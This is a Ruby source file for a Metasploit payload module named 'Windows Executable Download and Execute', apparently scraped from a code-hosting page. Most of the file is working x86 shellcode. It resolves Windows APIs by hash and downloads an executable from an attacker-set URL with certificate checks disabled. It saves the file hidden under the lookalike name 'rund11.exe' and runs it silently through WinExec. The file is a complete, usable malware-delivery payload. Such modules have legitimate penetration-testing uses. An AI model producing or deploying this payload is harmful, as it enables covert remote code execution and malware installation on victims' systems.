393 lines
14 KiB
Ruby
393 lines
14 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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module Metasploit3
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include Msf::Payload::Windows
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows Executable Download (http,https,ftp) and Execute',
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'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',
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'Author' =>
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[
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'corelanc0d3r <peter.ve[at]corelan.be>'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86
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))
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# Register command execution options
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register_options(
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[
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OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]),
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OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ])
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], self.class)
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end
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#
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# Construct the payload
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#
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def generate
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target_uri = datastore['URL'] || ""
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filename = datastore['EXE'] || ""
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proto = "https"
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dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
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#;0x80000000 | ; INTERNET_FLAG_RELOAD
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#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
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#;0x00800000 | ; INTERNET_FLAG_SECURE
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#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
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#;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
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#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
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#;0x00000200 ; INTERNET_FLAG_NO_UI"
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exitfuncs = {
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"PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess
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"THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread
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"SEH" => 0x00000000, #we don't care
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"NONE" => 0x00000000 #we don't care
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}
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protoflags = {
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"http" => 0x3,
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"https" => 0x3,
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"ftp" => 0x1
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}
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exitfunc = datastore['EXITFUNC'].upcase
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if exitfuncs[exitfunc]
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exitasm = case exitfunc
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when "SEH" then "xor eax,eax\ncall eax"
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when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError
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else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
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end
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end
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# parse URL and break it down in
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# - remote host
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# - port
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# - /path/to/file
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server_uri = ''
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server_host = ''
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port_nr = 443 # default
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if target_uri.length > 0
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# get desired protocol
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if target_uri =~ /^http:/
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proto = "http"
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port_nr = 80
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dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
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#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
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end
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if target_uri =~ /^ftp:/
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proto = "ftp"
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port_nr = 21
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dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
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end
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# sanitize the input
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target_uri = target_uri.gsub('http://','') #don't care about protocol
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target_uri = target_uri.gsub('https://','') #don't care about protocol
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target_uri = target_uri.gsub('ftp://','') #don't care about protocol
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server_info = target_uri.split("/")
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# did user specify a port ?
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server_parts = server_info[0].split(":")
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if server_parts.length > 1
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port_nr = Integer(server_parts[1])
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end
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# actual target host
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server_host = server_parts[0]
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# get /path/to/remote/exe
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for i in (1..server_info.length-1)
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server_uri << "/"
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server_uri << server_info[i]
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end
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end
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# get protocol specific stuff
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#create actual payload
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payload_data = <<EOS
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cld
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call start
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; Stephen Fewer's block_api
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; block_api code (Stephen Fewer)
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api_call:
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pushad ; We preserve all the registers for the caller, bar EAX and ECX.
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mov ebp, esp ; Create a new stack frame
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xor edx, edx ; Zero EDX
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mov edx, fs:[edx+48] ; Get a pointer to the PEB
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mov edx, [edx+12] ; Get PEB->Ldr
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mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
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next_mod:
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mov esi, [edx+40] ; Get pointer to modules name (unicode string)
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movzx ecx, word [edx+38] ; Set ECX to the length we want to check
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xor edi, edi ; Clear EDI which will store the hash of the module name
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loop_modname: ;
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xor eax, eax ; Clear EAX
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lodsb ; Read in the next byte of the name
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cmp al, 'a' ; Some versions of Windows use lower case module names
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jl not_lowercase ;
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sub al, 0x20 ; If so normalise to uppercase
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not_lowercase: ;
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ror edi, 13 ; Rotate right our hash value
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add edi, eax ; Add the next byte of the name
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loop loop_modname ; Loop untill we have read enough
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; We now have the module hash computed
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push edx ; Save the current position in the module list for later
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push edi ; Save the current module hash for later
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; Proceed to iterate the export address table,
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mov edx, [edx+16] ; Get this modules base address
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mov eax, [edx+60] ; Get PE header
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add eax, edx ; Add the modules base address
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mov eax, [eax+120] ; Get export tables RVA
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test eax, eax ; Test if no export address table is present
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jz get_next_mod1 ; If no EAT present, process the next module
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add eax, edx ; Add the modules base address
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push eax ; Save the current modules EAT
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mov ecx, [eax+24] ; Get the number of function names
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mov ebx, [eax+32] ; Get the rva of the function names
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add ebx, edx ; Add the modules base address
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; Computing the module hash + function hash
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get_next_func: ;
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jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
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dec ecx ; Decrement the function name counter
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mov esi, [ebx+ecx*4] ; Get rva of next module name
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add esi, edx ; Add the modules base address
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xor edi, edi ; Clear EDI which will store the hash of the function name
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; And compare it to the one we want
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loop_funcname: ;
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xor eax, eax ; Clear EAX
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lodsb ; Read in the next byte of the ASCII function name
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ror edi, 13 ; Rotate right our hash value
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add edi, eax ; Add the next byte of the name
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cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
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jne loop_funcname ; If we have not reached the null terminator, continue
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add edi, [ebp-8] ; Add the current module hash to the function hash
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cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
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jnz get_next_func ; Go compute the next function hash if we have not found it
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; If found, fix up stack, call the function and then value else compute the next one...
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pop eax ; Restore the current modules EAT
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mov ebx, [eax+36] ; Get the ordinal table rva
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add ebx, edx ; Add the modules base address
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mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
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mov ebx, [eax+28] ; Get the function addresses table rva
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add ebx, edx ; Add the modules base address
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mov eax, [ebx+4*ecx] ; Get the desired functions RVA
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add eax, edx ; Add the modules base address to get the functions actual VA
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; We now fix up the stack and perform the call to the desired function...
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finish:
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mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
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pop ebx ; Clear off the current modules hash
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pop ebx ; Clear off the current position in the module list
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popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
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pop ecx ; Pop off the origional return address our caller will have pushed
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pop edx ; Pop off the hash value our caller will have pushed
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push ecx ; Push back the correct return value
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jmp eax ; Jump into the required function
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; We now automagically return to the correct caller...
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get_next_mod: ;
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pop eax ; Pop off the current (now the previous) modules EAT
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get_next_mod1: ;
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pop edi ; Pop off the current (now the previous) modules hash
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pop edx ; Restore our position in the module list
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mov edx, [edx] ; Get the next module
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jmp.i8 next_mod ; Process this module
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; actual routine
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start:
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pop ebp ; get ptr to block_api routine
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; based on HDM's block_reverse_https.asm
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load_wininet:
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push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
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push 0x696e6977 ; ...
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mov esi, esp ; Save a pointer to wininet
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push esp ; Push a pointer to the "wininet" string on the stack.
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push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
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call ebp ; LoadLibraryA( "wininet" )
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internetopen:
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xor edi,edi
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push edi ; DWORD dwFlags
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push edi ; LPCTSTR lpszProxyBypass
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push edi ; LPCTSTR lpszProxyName
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push edi ; DWORD dwAccessType (PRECONFIG = 0)
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push esi ; LPCTSTR lpszAgent ("wininet\x00")
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push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
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call ebp
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jmp.i8 dbl_get_server_host
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internetconnect:
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pop ebx ; Save the hostname pointer
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xor ecx, ecx
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push ecx ; DWORD_PTR dwContext (NULL)
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push ecx ; dwFlags
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push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)
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push ecx ; password
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push ecx ; username
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push #{port_nr} ; PORT
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push ebx ; HOSTNAME
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push eax ; HINTERNET hInternet
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push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
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call ebp
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jmp.i8 get_server_uri
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httpopenrequest:
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pop ecx
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xor edx, edx ; NULL
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push edx ; dwContext (NULL)
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#{dwflags_asm} ; dwFlags
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push edx ; accept types
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push edx ; referrer
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push edx ; version
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push ecx ; url
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push edx ; method
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push eax ; hConnection
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push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
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call ebp
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mov esi, eax ; hHttpRequest
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set_retry:
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push 0x10
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pop ebx
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; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
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set_security_options:
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push 0x00003380
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mov eax, esp
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push 4 ; sizeof(dwFlags)
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push eax ; &dwFlags
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push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
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push esi ; hRequest
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push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
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call ebp
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httpsendrequest:
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xor edi, edi
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push edi ; optional length
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push edi ; optional
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push edi ; dwHeadersLength
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push edi ; headers
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push esi ; hHttpRequest
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push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
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call ebp
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test eax,eax
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jnz create_file
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try_it_again:
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dec ebx
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jz thats_all_folks ; failure -> exit
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jmp.i8 set_security_options
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dbl_get_server_host:
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jmp get_server_host
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get_server_uri:
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call httpopenrequest
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server_uri:
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db "#{server_uri}", 0x00
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create_file:
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jmp.i8 get_filename
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get_filename_return:
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xor eax,eax ; zero eax
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pop edi ; ptr to filename
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push eax ; hTemplateFile
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push 2 ; dwFlagsAndAttributes (Hidden)
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push 2 ; dwCreationDisposition (CREATE_ALWAYS)
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push eax ; lpSecurityAttributes
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push 2 ; dwShareMode
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push 2 ; dwDesiredAccess
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push edi ; lpFileName
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push 0x4FDAF6DA ; kernel32.dll!CreateFileA
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call ebp
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download_prep:
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xchg eax, ebx ; place the file handle in ebx
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xor eax,eax ; zero eax
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mov ax,0x304 ; we'll download 0x300 bytes at a time
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sub esp,eax ; reserve space on stack
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download_more:
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push esp ; &bytesRead
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lea ecx,[esp+0x8] ; target buffer
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xor eax,eax
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mov ah,0x03 ; eax => 300
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push eax ; read length
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push ecx ; target buffer on stack
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push esi ; hRequest
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push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
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call ebp
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test eax,eax ; download failed? (optional?)
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jz thats_all_folks ; failure -> exit
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pop eax ; how many bytes did we retrieve ?
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test eax,eax ; optional?
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je close_and_run ; continue until it returns 0
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write_to_file:
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push 0 ; lpOverLapped
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push esp ; lpNumberOfBytesWritten
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push eax ; nNumberOfBytesToWrite
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lea eax,[esp+0xc] ; get pointer to buffer
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push eax ; lpBuffer
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push ebx ; hFile
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push 0x5BAE572D ; kernel32.dll!WriteFile
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call ebp
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sub esp,4 ; set stack back to where it was
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jmp.i8 download_more
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close_and_run:
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push ebx
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push 0x528796C6 ; kernel32.dll!CloseHandle
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call ebp
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execute_file:
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push 0 ; don't show
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push edi ; lpCmdLine
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push 0x876F8B31 ; kernel32.dll!WinExec
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call ebp
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thats_all_folks:
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#{exitasm}
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get_filename:
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call get_filename_return
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db "#{filename}",0x00
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get_server_host:
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call internetconnect
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server_host:
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db "#{server_host}", 0x00
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end:
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EOS
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self.assembly = payload_data
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super
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end
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end
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